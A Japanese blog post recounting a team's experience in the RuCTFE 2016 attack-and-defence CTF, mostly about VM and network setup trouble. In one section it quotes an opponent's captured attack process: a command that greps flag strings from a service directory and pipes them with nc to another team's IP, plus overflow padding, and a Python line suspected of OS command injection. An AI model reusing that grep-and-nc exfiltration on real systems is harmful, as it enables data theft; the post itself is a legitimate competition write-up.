RuCTFE 2016に参加して主に環境構築に時間を溶かした話
こんにちは,卒業論文のための研究に追われて死にそうになっているたんごです. 日本時間で11/12 19:00 - 11/13 4:00までオンラインで行われていたRuCTFE 2016に参加していました.
個人的にはこのCTFを楽しみにしていました.というのもオンラインでAttack & Defenceという珍しい形式のCTFで今まで1度もこの形式のCTFには参加したことがなかったのでわくわくしていました. また,A & Dは自分たちがフラグを取ったり取られたりとまさに強者のみが生き残れる殺伐とした世界を体験できる容赦のない大会です.
http://www.slideshare.net/abend_cve_9999_0001/ructfe (言い得て妙なスライドw)
前日まで
どうやってA & Dをやるんだと言う気持ちでしたが,各競技者がVMを建ててゲーム内ネットワークにはVPNで接続するというような形式でした.
そこで自分達でどこかにサーバーを借りてVirtualBoxをインストールし,VMを構築しなければなりませんでした. 我々のチームは結局さくらのクラウド上にデカイインスタンス(CPU 8 core, MEM: 16GB)を立ち上げそこに構築することにしました. 基本的には書いてある通りに進めれば大丈夫でしたが一応メモのために以下に構成を残しておきます.
router
- eth0: ホストマシンとNAT (10.0.2.15みたいな形式のIPアドレスが振られ外と通信ができる)
- eth1: ホストオンリーアダプタ (vboxnet0) に接続
testimage
- eth0: ホストオンリーアダプタ (vboxnet0) に接続
上のネットワーク構成図のようにもしチーム1の場合, チーム内セグメントは10.60.1.0/24に割り当てられます. VirtualBoxの設定でvboxnet0の設定をいじることで 10.60.1.0/24 にアクセスできるようになれます.ホストマシンは 10.60.1.100 に割り当てました.
あとはSSHの公開鍵をrouterとtest imageに追加しておけばホストマシンからSSH接続できるようになります.
当日
始まる1時間位前にVuln Imageというものが鍵がかかった状態で公開されました.これをダウンロードしておき,鍵が公開されるまで待ちます.
19:00 -
始まりました.鍵が公開され展開しVirtualBoxにインポートしようというところで問題が発生しました.というのはさくらのクラウドデフォルトではSSD 20GBなのですがVuln Imageがでかすぎて容量が足りません.しょうがないので一度シャットダウンしてディスクをマウントし頑張って増やします. ここにもたつき20:00すぎくらいになってやっとVirtualBoxにインポートできるようになりました.
さて上の作業はチームメンバーがやってくれていたので私はIRCを見ながらどうやらVuln Imageにはパスワードがかかっていて外さないといけないという情報を得たのでMacに一度デプロイし,パスワードを外す作業をしていました. マトモな情報がほとんどなく結局日本語のブログから一番良い情報を得ました.
rootパスワードを紛失したらこうすればいいんですね.
20:00
さてVuln Imageをインポートしようとしたところ, VT-xがないから動かせんゾと怒られます.そういやそうでした.さくらのクラウドではVT-xがないのは知っていましたが石狩第2ならSandyあたりのXeonが入っているからサポートされてるやろと思っていましたがありませんorz.
↑にあるようにクラウド関連ではDigitalOceanにしかないらしいです.
ここまでRouter, Test ImageともにVT-xがなくても動いていたので失念していました.
を参考にVT-xを使う設定を止めてみました.
$ VBoxManage modifyvm RuCTFE2016_Image --hwvirtex off $ VBoxManage modifyvm RuCTFE2016_Image --vtxvpid off
これで起動はできるようになりましたがVirtualBoxがうんともすんとも言わなくなりました^^;
追記
先程のQiitaの記事に書いてありましたが64ビット版のLinux VMを動かすためにはVT-x とかみたいなCPUの仮想化支援機構が必要みたいでした.動かずフリーズする理由がわかった
21:00
VirtualBoxをやめVMWareだと起動できるかもしれないという怪しい情報を得たのでVMWare Workstation Proをインストールしてみました. ここまでは大丈夫でしたが,Vuln ImageをVMWareにインポートできず. いろいろいじり1時間格闘しましたが結局何もできず, 時間だけ過ぎていくという...
22:00
金がないのでDigital Oceanを避けていましたがGitHub Student Packに$100のクーポンがあることを思い出し,使ってみることにしました.フランクフルトのサーバーにデプロイし, CPU 4: MEM 8 GBですごいロシアに対してのpingが早いw 初めてDigital Ocean使いましたがインスタンスの作成が以上に早い. 1分以内にすぐさま使えるようになるのはいいですね. しっかりVT-xが建っているのを確認したのでVirtualBoxをインストールしてVuln Imageをデプロイしてみることに.
ここまでは順調wでしたがなぜかVirtualBoxが起動せず. 20%で止まり続け30分経過してしまい,為す術がなくなりました.
1:00
結局1時過ぎに自宅のPCにVirtualBoxを入れ,そこから使えるようにしました.自宅のサーバーにこれ専用のアカウントを作り,チームメンバーからSSHを受け入れ,それを踏み台にすることで各サーバーにいけるようにしました.この段階でもう1:30くらいになっており,終了時間まで2時間半くらいしかないw
デプロイしたらこんな感じのWebサイトが.これら1つずつが各サービスに対応していてそれらに脆弱性が仕組まれているみたいですね.サービスが立ち上がったので初めてランクインしました.
ちなみにSSHのコンフィグはこんな感じ.
Host g0tiu5a User g0tiu5a HostName <自宅サーバーの外部IP> Port 20022 IdentityFile ~/.ssh/id_rsa_g0tiu5a Host router User root HostName router.ructfe.lo.jtwp470.net # ルーター 宅内LANのDNS張った ProxyCommand ssh g0tiu5a -W %h:%p Host vulnimage User root HostName 10.60.76.2 ProxyCommand ssh router -W %h:%p
まず g0tiu5aに入り, ルーターを経由して vuln imageに入るというような構成です.
2:00
さてps aux
とかでプロセスを観察しているとどうやらLXCコンテナ上にいろんなサービスが動いているようです.
更に早速謎の攻撃コードが送られてきてました.
user 5780 0.0 0.0 4336 100 ? S 21:44 0:00 sh -c `grep -Ehro "\w{31}=" /home/weather/ | nc 10.60.121.11 8080`; exit ; UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU%4112c?c^??rx??sx? 2$x user 5782 0.0 0.0 6328 1596 ? S 21:44 0:00 nc 10.60.121.11 8080
謎い.何かBOFでもできるのかというようなかんじですね. よくわかりませんがこの攻撃が気に食わないのでuserを監視して必要そうなプロセス以外全部1秒毎に殺すスクリプトを書いて放置しましたが有効だったのかは謎です.
また, チーム内でLXCを使ったことのある人がいないため,LXCのコンテナ内にどうやってアクセスするのかとかその辺から始まりました. わかったことは以下のことです.
$ lxc-ls # lxcコンテナ一覧が出る $ lxc-info <container name> # コンテナ情報を出す $ lxc-attach -n <container name> # コンテナに接続する
しかし,コンテナ, vuln imageともにエディタやlessなどの最低限なコマンドが入っていないためすごいツライことに. またどうやってファイルを抜き出せばいいのかわからずツライ状況になります.
2:30
Nginxが死んだのか突然すべてのサービスにアクセスできなくなりました.しかしチームメンバーが確認するとNginxは動いている模様.
root@team76:/# ps aux | grep nginx root 3877 0.0 0.0 46776 1008 ? Ss 22:24 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; nobody 3878 0.0 0.0 47180 2648 ? S 22:24 0:00 nginx: worker process nobody 3881 0.0 0.0 47180 2640 ? S 22:24 0:00 nginx: worker process nobody 3882 0.0 0.0 47180 2652 ? S 22:24 0:00 nginx: worker process nobody 3883 0.0 0.0 47180 2652 ? S 22:24 0:00 nginx: worker process root 9346 0.0 0.1 42940 6152 pts/8 S+ 22:45 0:00 nginx -t root 9524 0.0 0.0 12716 892 pts/6 S+ 22:46 0:00 grep nginx
ルーターからもアクセス出来ないのでnginxのstatusを見るとどうやら各コンテナのIPを引けなくなったみたいです.(前のリブートに起因?)
root@team76:~# service nginx status ● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled) Active: failed (Result: exit-code) since Sat 2016-11-12 22:43:27 +05; 24min ago Docs: man:nginx(8) Process: 8579 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=1/FAILURE) Nov 12 22:42:31 team76.ructfe.org systemd[1]: Starting A high performance web server and a reverse proxy server... Nov 12 22:43:27 team76.ructfe.org nginx[8579]: nginx: [emerg] host not found in upstream "atlablog.lxc" in /etc/nginx/web/atlablog.conf:11 Nov 12 22:43:27 team76.ructfe.org nginx[8579]: nginx: configuration file /etc/nginx/nginx.conf test failed Nov 12 22:43:27 team76.ructfe.org systemd[1]: nginx.service: control process exited, code=exited status=1 Nov 12 22:43:27 team76.ructfe.org systemd[1]: Failed to start A high performance web server and a reverse proxy server. Nov 12 22:43:27 team76.ructfe.org systemd[1]: Unit nginx.service entered failed state.
Nginxのconfを読むと http://atlablog.lxc
みたいなところの所定ポートにNginxでリバースプロキシしていて atlablog.lxc への ping が返ってきません.
多分自動でいい感じに返ってくるはずなのでしょうがわからないので lxc-info atlablog
とかでIPアドレスを調べて/etc/hosts
に追加していく仕事をしてNginxを復活させることに3:30頃成功し再度復活しました.
こういう仕事をしながら特に攻撃もできず防衛もまともにできず(この段階でもソースコードを引っ張り出せていない)のですが始めた頃は160位くらいだったのですが気付いたら128位まで上がっています.
3:40
3:40頃に正規の方法なのかは知りませんが, どうやらLXCのディスクは /var/lib/lxc/<container_name>/rootdev
みたいなところにあるので 普通に moun
コマンドで適当にマウントすることで読んだり書いたりできるようになりました.
ここでわかったのはweatherが32ビットのLinuxバイナリでこやつに脆弱性があるんだろうなぁ〜(小並感)ということです.
crachには怪しいソースコードを見つけました.
result = os.system('%s -m %s %s >%s 2>%s' % (TOOL_NAME, dmp_path, SYMBOLS_DIR, STACKWALK_FILENAME, STACKWALK_ERRORS_FILENAME))
OSコマンドインジェクションができそう?
ここを見つけて結局4:00になり終了.
最終結果は104位で終わりました.
知見
- VT-xがないとツライ.
- VirtualBoxのネットワーク周りでも無限に時間を溶かした
以上です.ちなみに死にそうになりながらTrysailのトライアングルハーモニーを聞いていたので精神だけは安定していました.みんなも聞こうな!